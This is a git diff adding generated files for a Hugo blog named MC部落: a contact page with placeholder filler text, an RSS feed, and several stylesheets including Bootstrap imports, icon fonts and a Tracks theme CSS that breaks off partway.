@@ +https://h.cowbay.org/categories/%E7%BE%A4%E6%9A%89/ \ No newline at end of file diff --git a/public/contact/index.html b/public/contact/index.html new file mode 100644 index 00000000..4ebce9eb --- /dev/null +++ b/public/contact/index.html @@ -0,0 +1,461 @@ + + + + + + + + Get in touch + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Skip to content + + +
+ + + +
+
+
+

Get in touch

+
+
+
+
+

When she reached the first hills of the Italic Mountains, she had a last view back on the skyline of her hometown Bookmarksgrove, the headline of Alphabet Village and the subline of her own road, the Line Lane. Pityful a rethoric question ran over her cheek, then

+ +

Effects present letters inquiry no an removed or friends. Desire behind latter me though in. Supposing shameless am he engrossed up additions. My possible peculiar together to. Desire so better am cannot he up before points. Remember mistaken opinions it pleasure of debating. Court front maids forty if aware their at. Chicken use are pressed removed.

+ +

Able an hope of body. Any nay shyness article matters own removal nothing his forming. Gay own additions education satisfied the perpetual. If he cause manor happy. Without farther she exposed saw man led. Along on happy could cease green oh.

+ + +
+ +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + + +
+
+ + +
+
 
+
+
+
+
+ + +
+ + + +
+ + + + + + diff --git a/public/contact/index.xml b/public/contact/index.xml new file mode 100644 index 00000000..ea73a049 --- /dev/null +++ b/public/contact/index.xml @@ -0,0 +1,15 @@ + + + + Get in touch on MC部落 + https://h.cowbay.org/contact/ + Recent content in Get in touch on MC部落 + Hugo -- gohugo.io + en-us + Sun, 06 Nov 2016 13:00:25 +0530 + + + + + + \ No newline at end of file diff --git a/public/css/404.css b/public/css/404.css new file mode 100644 index 00000000..50cbf413 --- /dev/null +++ b/public/css/404.css @@ -0,0 +1,54 @@ +html { + height: 100%; + display: flex; + align-items: center; + justify-content: center; + text-align: center; + background: #f4f4f4; + color: #888; + font-family: "Raleway", Helvetica, sans-serif; + line-height: 1.4; +} + +h1, h2 { + color: #3c3b3b; + letter-spacing: 0.25em; +} + +a { + border-bottom: dotted 1px rgba(160, 160, 160, 0.65); + color: inherit; + text-decoration: none; + -webkit-transition: color .2s ease, border-bottom-color 0.2s ease; + -moz-transition: color .2s ease, border-bottom-color 0.2s ease; + -ms-transition: color .2s ease, border-bottom-color 0.2s ease; + -o-transition: color .2s ease, border-bottom-color 0.2s ease; + transition: color .2s ease, border-bottom-color 0.2s ease; +} + +a:before { + content: "🡠 "; + -webkit-transition: color ease; + -moz-transition: color ease; + -ms-transition: color ease; + -o-transition: color ease; + transition: color ease; +} + +a:hover { + border-bottom-color: transparent; + color: $accent-color; +} + +@media only screen and (max-width: 280px) { + + body, p { + width: 95%; + } + + h1 { + font-size: 1.5em; + margin: 0 0 0.3em; + } + +} diff --git a/public/css/_bootstrap.scss b/public/css/_bootstrap.scss new file mode 100755 index 00000000..759552e8 --- /dev/null +++ b/public/css/_bootstrap.scss @@ -0,0 +1,55 @@ +/*! + * Bootstrap v4.0.0-alpha.6 (https://getbootstrap.com) + * Copyright 2011-2017 The Bootstrap Authors + * Copyright 2011-2017 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ + +// Core variables and mixins +@import "bootstrap/variables"; +@import "bootstrap/mixins"; +@import "custom"; + +// Reset and dependencies +@import "bootstrap/normalize"; +@import "bootstrap/print"; + +// Core CSS +@import "bootstrap/reboot"; +@import "bootstrap/type"; +@import "bootstrap/images"; +@import "bootstrap/code"; +//@import "bootstrap/grid"; +//@import "bootstrap/tables"; +//@import "bootstrap/forms"; +//@import "bootstrap/buttons"; + +// Components +//@import "bootstrap/transitions"; +//@import "bootstrap/dropdown"; +//@import "bootstrap/button-group"; +//@import "bootstrap/input-group"; +//@import "bootstrap/custom-forms"; +//@import "bootstrap/nav"; +//@import "bootstrap/navbar"; +//@import "bootstrap/card"; +//@import "bootstrap/breadcrumb"; +//@import "bootstrap/pagination"; +//@import "bootstrap/badge"; +//@import "bootstrap/jumbotron"; +//@import "bootstrap/alert"; +//@import "bootstrap/progress"; +//@import "bootstrap/media"; +//@import "bootstrap/list-group"; +//@import "bootstrap/responsive-embed"; +//@import "bootstrap/close"; + +// Components w/ JavaScript +//@import "bootstrap/modal"; +//@import "bootstrap/tooltip"; +//@import "bootstrap/popover"; +//@import "bootstrap/carousel"; + +// Utility classes +//@import "bootstrap/utilities"; + diff --git a/public/css/_custom.scss b/public/css/_custom.scss new file mode 100755 index 00000000..bdd1e9a5 --- /dev/null +++ b/public/css/_custom.scss @@ -0,0 +1,27 @@ +// Bootstrap overrides +// +// Copy variables from `_variables.scss` to this file to override default values +// without modifying source files. +$font-family-sans-serif: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "PingFang SC", "Hiragino Sans GB", "Microsoft Yahei", "Noto Sans CJK SC", ans-serif; +$font-family-serif: "Times New Roman", Georgia, Times, "PingFang SC", "Hiragino Sans GB", "Microsoft Yahei", "Noto Sans CJK SC", serif; +$font-family-monospace: Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", "PingFang SC", "Hiragino Sans GB", "Microsoft Yahei", "Noto Sans CJK SC", monospace; +$font-family-base: $font-family-serif; + +$link-color: #295b78; +$link-hover-color: darken($link-color, 15%); + +$font-size-h1: 1.875rem; +$font-size-h2: 1.625rem; +$font-size-h3: 1.375rem; +$font-size-h4: 1.25rem; +$font-size-h5: 1.125rem; +$font-size-h6: 1rem; + +/* Code +-------------------------------------------------- */ +$code-color: $gray-dark; +$code-bg: $gray-lightest; + +img { + @include img-fluid; +} diff --git a/public/css/academicons.min.css b/public/css/academicons.min.css new file mode 100644 index 00000000..9275e822 --- /dev/null +++ b/public/css/academicons.min.css @@ -0,0 +1 @@ +.ai-ul,.fa-ul{list-style-type:none}.ai-li,.fa-li{top:.14285714em;text-align:center}.ai-fw,.ai-li,.fa-fw,.fa-li{text-align:center}.ai.fa-pull-left,.fa.fa-pull-left{margin-right:.3em}@font-face{font-family:Academicons;src:url(../fonts/academicons.eot?v=1.8.0);src:url(../fonts/academicons.eot?v=1.8.0) format('embedded-opentype'),url(../fonts/academicons.ttf?v=1.8.0) format('truetype'),url(../fonts/academicons.woff?v=1.8.0) format('woff'),url(../fonts/academicons.svg?v=1.8.0#academicons) format('svg');font-weight:400;font-style:normal}.ai{display:inline-block;font:normal normal normal 14px/1 Academicons;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.ai-lg,.fa-lg{line-height:.75em;vertical-align:-15%}.ai-academia:before{content:"\e800"}.ai-academia-square:before{content:"\e801"}.ai-acclaim:before{content:"\e802"}.ai-acclaim-square:before{content:"\e803"}.ai-acm:before{content:"\e804"}.ai-acm-square:before{content:"\e805"}.ai-ads:before{content:"\e806"}.ai-ads-square:before{content:"\e807"}.ai-arxiv:before{content:"\e808"}.ai-arxiv-square:before{content:"\e809"}.ai-biorxiv:before{content:"\e810"}.ai-biorxiv-square:before{content:"\e811"}.ai-ceur:before{content:"\e812"}.ai-ceur-box:before{content:"\e813"}.ai-courser:before{content:"\e814"}.ai-courser-square:before{content:"\e815"}.ai-dataverse:before{content:"\e816"}.ai-dataverse-box:before{content:"\e817"}.ai-dblp:before{content:"\e818"}.ai-dblp-square:before{content:"\e819"}.ai-depsy:before{content:"\e820"}.ai-depsy-square:before{content:"\e821"}.ai-doi:before{content:"\e822"}.ai-doi-square:before{content:"\e823"}.ai-dryad:before{content:"\e824"}.ai-dryad-square:before{content:"\e825"}.ai-figshare:before{content:"\e826"}.ai-figshare-square:before{content:"\e827"}.ai-google-scholar:before{content:"\e828"}.ai-google-scholar-square:before{content:"\e829"}.ai-ieee:before{content:"\e830"}.ai-ieee-square:before{content:"\e831"}.ai-impactstory:before{content:"\e832"}.ai-impactstory-square:before{content:"\e833"}.ai-inspire:before{content:"\e834"}.ai-inspire-square:before{content:"\e835"}.ai-mendeley:before{content:"\e836"}.ai-mendeley-square:before{content:"\e837"}.ai-open-access:before{content:"\e838"}.ai-open-access-square:before{content:"\e839"}.ai-orcid:before{content:"\e840"}.ai-orcid-square:before{content:"\e841"}.ai-osf:before{content:"\e842"}.ai-osf-square:before{content:"\e843"}.ai-overleaf:before{content:"\e844"}.ai-overleaf-square:before{content:"\e845"}.ai-philpapers:before{content:"\e846"}.ai-philpapers-square:before{content:"\e847"}.ai-piazza:before{content:"\e848"}.ai-piazza-square:before{content:"\e849"}.ai-publons:before{content:"\e850"}.ai-publons-square:before{content:"\e851"}.ai-pubmed:before{content:"\e852"}.ai-pubmed-square:before{content:"\e853"}.ai-researchgate:before{content:"\e854"}.ai-researchgate-square:before{content:"\e855"}.ai-scirate:before{content:"\e856"}.ai-scirate-square:before{content:"\e857"}.ai-springer:before{content:"\e858"}.ai-springer-square:before{content:"\e859"}.ai-zotero:before{content:"\e860"}.ai-zotero-square:before{content:"\e861"}.ai-lg{font-size:1.33333333em}.ai-2x{font-size:2em}.ai-3x{font-size:3em}.ai-4x{font-size:4em}.ai-5x{font-size:5em}.ai-fw{width:1.28571429em}.ai-ul{padding-left:0;margin-left:2.14285714em}.ai-ul>li{position:relative}.ai-li{position:absolute;left:-2.14285714em;width:2.14285714em}.ai-li.fa-lg{left:-1.85714286em}.ai-border{padding:.2em .25em .15em;border:.08em solid #eee;border-radius:.1em}.ai-pull-left{float:left}.ai-pull-right{float:right}.ai.fa-pull-right{margin-left:.3em}.fa-lg{font-size:1.33333333em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em}.fa-ul{padding-left:0;margin-left:2.14285714em}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:.08em solid #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-right{margin-left:.3em} \ No newline at end of file diff --git a/public/css/concated.min.css b/public/css/concated.min.css new file mode 100644 index 00000000..847a6e2d --- /dev/null +++ b/public/css/concated.min.css @@ -0,0 +1 @@ +.hljs-comment,.hljs-quote{color:#006a00}.hljs-keyword,.hljs-selector-tag,.hljs-literal{color:#aa0d91}.hljs-name{color:#008}.hljs-variable,.hljs-template-variable{color:#660}.hljs-string{color:#c41a16}.hljs-regexp,.hljs-link{color:#080}.hljs-title,.hljs-tag,.hljs-symbol,.hljs-bullet,.hljs-number,.hljs-meta{color:#1c00cf}.hljs-section,.hljs-class .hljs-title,.hljs-type,.hljs-attr,.hljs-built_in,.hljs-builtin-name,.hljs-params{color:#5c2699}.hljs-attribute,.hljs-subst{color:#000}.hljs-formula{background-color:#eee;font-style:italic}.hljs-addition{background-color:#baeeba}.hljs-deletion{background-color:#ffc8bd}.hljs-selector-id,.hljs-selector-class{color:#9b703f}.hljs-doctag,.hljs-strong{font-weight:700}.hljs-emphasis{font-style:italic}@font-face{font-family:latolatinwebblack;src:url(../font/LatoLatin-Black.eot);src:url(../font/LatoLatin-Black.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-Black.woff2) format('woff2'),url(../font/LatoLatin-Black.woff) format('woff'),url(../font/LatoLatin-Black.ttf) format('truetype');font-style:normal;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinwebblack;src:url(../font/LatoLatin-BlackItalic.eot);src:url(../font/LatoLatin-BlackItalic.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-BlackItalic.woff2) format('woff2'),url(../font/LatoLatin-BlackItalic.woff) format('woff'),url(../font/LatoLatin-BlackItalic.ttf) format('truetype');font-style:italic;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinweb;src:url(../font/LatoLatin-Bold.eot);src:url(../font/LatoLatin-Bold.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-Bold.woff2) format('woff2'),url(../font/LatoLatin-Bold.woff) format('woff'),url(../font/LatoLatin-Bold.ttf) format('truetype');font-style:normal;font-weight:700;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinweb;src:url(../font/LatoLatin-BoldItalic.eot);src:url(../font/LatoLatin-BoldItalic.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-BoldItalic.woff2) format('woff2'),url(../font/LatoLatin-BoldItalic.woff) format('woff'),url(../font/LatoLatin-BoldItalic.ttf) format('truetype');font-style:italic;font-weight:700;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinwebhairline;src:url(../font/LatoLatin-Hairline.eot);src:url(../font/LatoLatin-Hairline.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-Hairline.woff2) format('woff2'),url(../font/LatoLatin-Hairline.woff) format('woff'),url(../font/LatoLatin-Hairline.ttf) format('truetype');font-style:normal;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinwebhairline;src:url(../font/LatoLatin-HairlineItalic.eot);src:url(../font/LatoLatin-HairlineItalic.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-HairlineItalic.woff2) format('woff2'),url(../font/LatoLatin-HairlineItalic.woff) format('woff'),url(../font/LatoLatin-HairlineItalic.ttf) format('truetype');font-style:italic;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinwebheavy;src:url(../font/LatoLatin-Heavy.eot);src:url(../font/LatoLatin-Heavy.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-Heavy.woff2) format('woff2'),url(../font/LatoLatin-Heavy.woff) format('woff'),url(../font/LatoLatin-Heavy.ttf) format('truetype');font-style:normal;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinwebheavy;src:url(../font/LatoLatin-HeavyItalic.eot);src:url(../font/LatoLatin-HeavyItalic.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-HeavyItalic.woff2) format('woff2'),url(../font/LatoLatin-HeavyItalic.woff) format('woff'),url(../font/LatoLatin-HeavyItalic.ttf) format('truetype');font-style:italic;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinweb;src:url(../font/LatoLatin-Italic.eot);src:url(../font/LatoLatin-Italic.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-Italic.woff2) format('woff2'),url(../font/LatoLatin-Italic.woff) format('woff'),url(../font/LatoLatin-Italic.ttf) format('truetype');font-style:italic;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinweblight;src:url(../font/LatoLatin-Light.eot);src:url(../font/LatoLatin-Light.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-Light.woff2) format('woff2'),url(../font/LatoLatin-Light.woff) format('woff'),url(../font/LatoLatin-Light.ttf) format('truetype');font-style:normal;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinweblight;src:url(../font/LatoLatin-LightItalic.eot);src:url(../font/LatoLatin-LightItalic.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-LightItalic.woff2) format('woff2'),url(../font/LatoLatin-LightItalic.woff) format('woff'),url(../font/LatoLatin-LightItalic.ttf) format('truetype');font-style:italic;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinwebmedium;src:url(../font/LatoLatin-Medium.eot);src:url(../font/LatoLatin-Medium.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-Medium.woff2) format('woff2'),url(../font/LatoLatin-Medium.woff) format('woff'),url(../font/LatoLatin-Medium.ttf) format('truetype');font-style:normal;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinwebmedium;src:url(../font/LatoLatin-MediumItalic.eot);src:url(../font/LatoLatin-MediumItalic.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-MediumItalic.woff2) format('woff2'),url(../font/LatoLatin-MediumItalic.woff) format('woff'),url(../font/LatoLatin-MediumItalic.ttf) format('truetype');font-style:italic;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinweb;src:url(../font/LatoLatin-Regular.eot);src:url(../font/LatoLatin-Regular.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-Regular.woff2) format('woff2'),url(../font/LatoLatin-Regular.woff) format('woff'),url(../font/LatoLatin-Regular.ttf) format('truetype');font-style:normal;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinwebsemibold;src:url(../font/LatoLatin-Semibold.eot);src:url(../font/LatoLatin-Semibold.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-Semibold.woff2) format('woff2'),url(../font/LatoLatin-Semibold.woff) format('woff'),url(../font/LatoLatin-Semibold.ttf) format('truetype');font-style:normal;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinwebsemibold;src:url(../font/LatoLatin-SemiboldItalic.eot);src:url(../font/LatoLatin-SemiboldItalic.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-SemiboldItalic.woff2) format('woff2'),url(../font/LatoLatin-SemiboldItalic.woff) format('woff'),url(../font/LatoLatin-SemiboldItalic.ttf) format('truetype');font-style:italic;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinwebthin;src:url(../font/LatoLatin-Thin.eot);src:url(../font/LatoLatin-Thin.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-Thin.woff2) format('woff2'),url(../font/LatoLatin-Thin.woff) format('woff'),url(../font/LatoLatin-Thin.ttf) format('truetype');font-style:normal;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}@font-face{font-family:latolatinwebthin;src:url(../font/LatoLatin-ThinItalic.eot);src:url(../font/LatoLatin-ThinItalic.eot?#iefix) format('embedded-opentype'),url(../font/LatoLatin-ThinItalic.woff2) format('woff2'),url(../font/LatoLatin-ThinItalic.woff) format('woff'),url(../font/LatoLatin-ThinItalic.ttf) format('truetype');font-style:italic;font-weight:400;font-display:swap;text-rendering:optimizeLegibility}body{font-family:latolatinweb,Avenir,HelveticaNeue-Light,helvetica neue light,helvetica neue,Helvetica,Arial,lucida grande,sans-serif;color:#141823;font-size:1.1em;background-color:#ecedef;margin:0;padding:0 0 2em;display:flex;flex-direction:column;align-items:center;width:100%;box-sizing:border-box;word-break:break-word}p{margin:1.5em 0}b,strong{font-family:latolatinwebheavy;font-weight:400}.nav-bar{max-width:50rem;width:100%;padding:.4em 0;display:flex;justify-content:space-between;align-items:center}.nav-header{margin:0}.nav-text{text-decoration:none;z-index:105;font-size:.8em}.hamburger-menu{display:block;position:relative;z-index:105;-webkit-user-select:none;user-select:none}.hamburger-menu button{display:block;position:relative;width:33px;height:33px;padding:0;border:0;outline:none;background-color:transparent;z-index:500;-webkit-touch-callout:none;cursor:pointer}.hamburger-menu button span{display:block;width:33px;height:4px;position:relative;background-color:#141823;border-radius:3px;transform-origin:center;transition:transform .3s cubic-bezier(0.77,0.2,0.05,1.0),background-color .3s cubic-bezier(0.77,0.2,0.05,1.0)}.hamburger-menu button span:first-of-type{margin-bottom:5px}.hamburger-menu-open button span{background-color:#fff;transform:rotate(45deg) translate(3.2px,3.2px)}.hamburger-menu-open button span:last-of-type{transform:rotate(-45deg) translate(3.2px,-3.2px)}.hamburger-menu-overlay{display:block;position:fixed;box-sizing:border-box;top:0;left:0;width:100vw;height:100%;z-index:100;text-align:center;visibility:hidden;overflow-y:auto;margin:0;padding:3.5em 0 0;background-color:#000;opacity:0;transition:visibility .2s ease-out,opacity .2s ease-out}.hamburger-menu-open .hamburger-menu-overlay{visibility:visible;opacity:.9}.hamburger-menu-overlay-link{text-decoration:none;text-transform:uppercase;font-size:2em;line-height:1.7;color:#fff}.post{margin:0 0 1em;line-height:1.6}.post-header{margin:0 0 1.5em}.post-title{font-size:1.8em;line-height:1.2;margin:0 0 .4em}.post-date{display:block;color:#7a7b7c;font-size:.8em;margin:0}.post-figure{margin:1.5em 0}.dropcase>p:first-of-type::first-letter{float:left;font-size:3em;line-height:1;margin:.05em .15em -.1em 0}.content{background-color:#fff;padding:2em 0;margin-bottom:2em;width:100%;max-width:52rem;border-radius:.3rem;transition:transform .2s cubic-bezier(0.25,0.8,0.25,1),box-shadow .2s cubic-bezier(0.25,0.8,0.25,1);box-shadow:0 .7rem 1.4rem 0 rgba(0,0,0,.25),0 .5rem .5rem 0 rgba(0,0,0,.22)}.list-header{margin:6em 0;text-align:center}.list-header-title{margin:.1em 0 .2em;font-size:2.2em;text-transform:uppercase}.list-header-subtext{font-weight:400;color:#7a7b7c;font-size:1em;line-height:1.6;margin:0}.list-header-content{margin:5em 0;line-height:1.6em}.card-container{max-width:49rem}.card-container>a:first-of-type{margin-top:5em}.card{display:block;margin:2.2rem 0;box-sizing:border-box;background-color:#fff;text-decoration:none;border-radius:.3rem;-webkit-tap-highlight-color:rgba(0,0,0,0);transition:transform .2s cubic-bezier(0.25,0.8,0.25,1),box-shadow .2s cubic-bezier(0.25,0.8,0.25,1);box-shadow:0 .5rem 1rem 0 rgba(0,0,0,.19),0 .3rem .3rem -.1rem rgba(0,0,0,.23)}.home-card{padding:.8em;font-size:2em;font-weight:700;text-align:center;color:#fff;background-position:50%;object-fit:cover}.blog-card{display:flex;flex-direction:column;align-items:stretch}.card-img-container{position:relative}.card-img{border-radius:.3rem .3rem 0 0;margin:0 0 -.28em;max-height:10em;object-fit:cover}.card-img-overlay{border-radius:.3rem .3rem 0 0;position:absolute;top:0;font-size:1.27em;text-align:center;padding:1.18em 0 .5em;width:100%;box-sizing:border-box;margin:0;color:#fff;background-color:rgba(0,0,0,.4);z-index:5}.card-body{padding:1em}.card-title{margin:0;line-height:1.2}.card-text{margin:1em 0;line-height:1.5}.card-subtext{display:flex;flex-direction:row;justify-content:flex-start;font-size:.8em}.card-subtext>p{margin:0}.card-subtext>p+p{margin-left:1em;padding-left:1em;word-spacing:.5em;border-left:thin solid #7a7b7c}.end-nav{width:100%;max-width:49rem}.pagination-nav{margin:2em 0;width:100%;max-width:47rem}.pagination-newer{float:left}.pagination-older{float:right}.button{padding:.5em .6em;background-color:#fff;text-decoration:none;border-radius:.3rem;transition:transform .1s cubic-bezier(0.25,0.8,0.25,1),box-shadow .1s cubic-bezier(0.25,0.8,0.25,1);box-shadow:0 .15rem .3rem rgba(0,0,0,.16),0 .15rem .3rem rgba(0,0,0,.23)}.button:hover{box-shadow:0 .05rem .15rem rgba(0,0,0,.12),0 .05rem .1rem rgba(0,0,0,.24);transform:scale(0.97)}.button:active{transform:scale(1)}.side-gutter{margin-left:1.2rem!important;margin-right:1.2rem!important}.side-padding{padding-left:1.2rem!important;padding-right:1.2rem!important;box-sizing:border-box!important}.side-text-padding{padding-left:1.2rem!important;padding-right:1.2rem!important;box-sizing:border-box!important}.small-img{width:unset;max-width:100%;margin:1.5em auto}.muted-text{color:#7a7b7c}.katex-display{margin:1.5em 0;overflow-x:auto;overflow-y:hidden}#disqus_thread{margin-top:5em}.no-scroll{overflow:hidden;position:fixed}h1,h2,h3,h4,h5,h6{margin:1.5em 0 -.5em;clear:both}img{display:block;width:100%;height:auto;margin:1.5em 0}blockquote{border-left:.3em solid #d1d1d1;margin:1.5em .8em;padding:.5em;font-style:italic}blockquote p{display:inline}ul,ol{padding-left:1.6em}li ul,li ol{padding-left:1em}li>p{margin:0}code{font-family:monospace;padding:.2em .5em;line-height:1.5;border-radius:.3rem;background-color:#f5f6f7}pre>code{margin:1.5em 0;display:block;padding:.5em;word-break:normal;overflow-x:auto;color:#000}hr{border:0;border-bottom:thin solid #d1d1d1;margin:3em 0;clear:both}a{color:#141823}table{color:#141823;border-collapse:collapse;border-spacing:0;margin:1.5em 0}td,th{padding:.5em 1em;border:thin solid #d1d1d1}th{font-family:latolatinwebheavy;font-weight:400}tr:nth-child(even) td{background:#f5f6f7}footer{padding:2em 0;margin:2em 0 0}@media screen and (pointer:coarse){.card-hover{transform:scale(0.95);box-shadow:0 .15rem .3rem 0 rgba(0,0,0,.16),0 .15rem .3rem -.04rem rgba(0,0,0,.23)}}@media not screen and (pointer:coarse){.card:hover{transform:scale(0.97);box-shadow:0 .15rem .3rem 0 rgba(0,0,0,.16),0 .15rem .3rem -.04rem rgba(0,0,0,.23)}.card:active{transform:scale(1)}}@media only screen and (min-width:40.063em){body{font-size:1.15rem}.nav-bar{padding:.8em 0}.list-header-title{font-weight:400;font-size:4.2em}.card{border-radius:.2rem}.blog-card{flex-direction:row;align-items:stretch}.card-img{border-radius:.2rem 0 0 .2rem;margin:0;max-height:unset;height:100%;width:15em}.card-img-overlay{border-radius:.2rem 0 0 0}.card-body{padding:1.5em 1.3em}.card-title{font-size:1.27em}.card-text{font-size:.95em;margin:1.2em 0}.card-subtext{font-size:.7em}.content{border-radius:.2rem}.post{margin:1em 1em 2em}.post-title{font-size:2.5em}.button{border-radius:.2rem}.smartfloat-right{float:right;margin:0 0 1em 1em}.smartfloat-left{float:left;margin:0 1em 1em 0}code{border-radius:.2rem}} \ No newline at end of file diff --git a/public/css/custom.css b/public/css/custom.css new file mode 100644 index 00000000..a89be72f --- /dev/null +++ b/public/css/custom.css @@ -0,0 +1,2696 @@ +@charset "UTF-8"; +/* +Theme Name: Tracks +Theme URI: https://www.competethemes.com/tracks/ +Author: Compete Themes +Author URI: https://www.competethemes.com +Description: A bold, beautiful, and responsive theme. Tracks is perfect for personal blogs, magazines, and photography websites. It includes a logo uploader, over 50+ social media icons, search bar, comment display controls, premium layouts, and more. Tracks has a dark, simple, and minimalist design that makes it great for publish both text and image based content. Use it for a travel blog, online newspaper, video site, or podcast. As a free theme, you can use Tracks for as many projects as you’d like. Preview Tracks now on desktop, tablets, and mobile devices with the interactive live demo: https://www.competethemes.com/demos/?theme=tracks +Version: 1.59 +Tags: one-column, custom-logo, custom-menu, editor-style, featured-image-header, featured-images, footer-widgets, full-width-template, sticky-post, theme-options, threaded-comments, translation-ready, blog, photography, portfolio +Text Domain: tracks +License: GNU General Public License v2 or later +License URI: http://www.gnu.org/licenses/gpl-2.0.html + +Tracks WordPress Theme, Copyright 2017 Compete Themes +Tracks is distributed under the terms of the GNU GPL +*/ +/*===== Variables =====*/ +/* Theme Colors */ +.site-title, .toggle-navigation i { + font-size: 1.625em; + line-height: 1.85; +} + +.wp-caption-text, .excerpt-meta, .entry-meta, .more-link, .pagination, .further-reading span, +.further-reading a, +.entry-categories span, +.entry-categories a, +.entry-tags span, +.entry-tags a, .author-meta .author span, .comments-number h2, .comment-author div, .design-credit, .singular-attachment .attachment-caption, .widget li, .menu-footer-items a, .menu-secondary-items a { + font-size: 0.813em; + line-height: 1.85; +} + +.entry-container, .comments { + padding: 0 5.55%; +} + +.site-title, .menu-unset > ul a, +.menu-primary-items a, .excerpt-meta, .entry-meta, .excerpt-title, .entry-title, .more-link, .pagination, .further-reading, +.entry-categories, +.entry-tags, .author-meta .author span, .comments-number h2, .comment-author .author-name, .site-footer h1, .design-credit, .widget-title, .widget li, .menu-footer-items a, .menu-secondary-items a { + text-transform: uppercase; + letter-spacing: 0.08em; + font-weight: 700; +} + +/* Social Media Brand Colors */ +/*===== Mixins =====*/ +/* grid stuff */ +/* Baseline Grid +background-image: linear-gradient(#fff 23px, #00fffc 24px, #fff 0px); +background-size: 1px 24px; /* this is a 24px baseline grid */ +/* Column Grid +background-color: gray; +background-image: linear-gradient(90deg, transparent 99%, rgba(255,255,255,.5) 0%); +background-size: 11.1%; /* This is at 6-columns -> just change this # */ +/*===== Basic Styles =====*/ +/* apply a natural box layout model to all elements */ +*, *:before, *:after { + box-sizing: border-box; +} + +body { + height: 100%; + font-size: 100%; + margin: 0; + padding: 0; + font-family: "raleway", sans-serif; + line-height: 1.5; + color: #4d4d4d; + background: #38312f; + -webkit-font-smoothing: antialiased; + word-wrap: break-word; + -ms-word-wrap: break-word; +} + +.overflow-container { + overflow: hidden; + position: relative; + height: auto; + min-height: 100%; +} + +.main { + background: #38312f; + padding-bottom: 1.5em; + margin: 0 auto; +} + +.loop-container:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; +} + +p { + margin: 1.5em 0; +} + +a { + text-decoration: none; + color: #38312f; + -webkit-transition: all 0.2s ease; + transition: all 0.2s ease; +} +a:link { + color: #38312f; +} +a:visited, a:hover, a:active, a:focus { + color: black; +} + +article a { + text-decoration: underline; +} + +h1, h2, h3, h4, h5, h6 { + font-family: "raleway", sans-serif; + margin: 0; + padding: 0; + font-weight: 400; +} + +h1 { + font-size: 2.625em; + /* 42px / 16px */ + line-height: 1.143; +} + +h2 { + font-size: 2.25em; + /* 36px / 16px */ + line-height: 1.34; +} + +h3 { + font-size: 1.625em; + /* 26px / 16px */ + line-height: 1.85; +} + +h4 { + font-size: 1.313em; + /* 21px / 16px */ + line-height: 1.143; +} + +h5 { + font-size: 1.125em; + /* 18px / 16px */ + line-height: 1.34; +} + +h6 { + font-size: 1em; + line-height: 1.5; +} + +ul, +ol { + font-size: 1em; + padding: 0; + margin: 1.5em; +} +ul ul, ul ol, +ol ul, +ol ol { + margin: 0 1.5em; +} + +ul ul, +ol ol, +ul ol, +ol ul, +li li { + font-size: 1em; +} + +/* Markup styles */ +pre { + word-wrap: break-word; + -ms-word-wrap: break-word; + word-break: break-all; + white-space: pre-wrap; + padding: 0.75em; + background: #f5f5f5; +} + +code { + padding: 0 0.375em; + background: #f5f5f5; +} + +blockquote { + margin: 1.5em 0; + padding: 0 1.5em; + /*border-left: solid 0.75em #38312f;*/ + border-left: solid 0.75em #ffffff ; +} +blockquote cite { + display: block; + text-align: right; +} + +hr { + margin: 0.69em 0; +} + +/* Table styles */ +table { + border-spacing: 0; + border-collapse: collapse; + margin: 1.5em 0; +} + +td { + padding: 0.5em 0.75em; + border: solid 1px 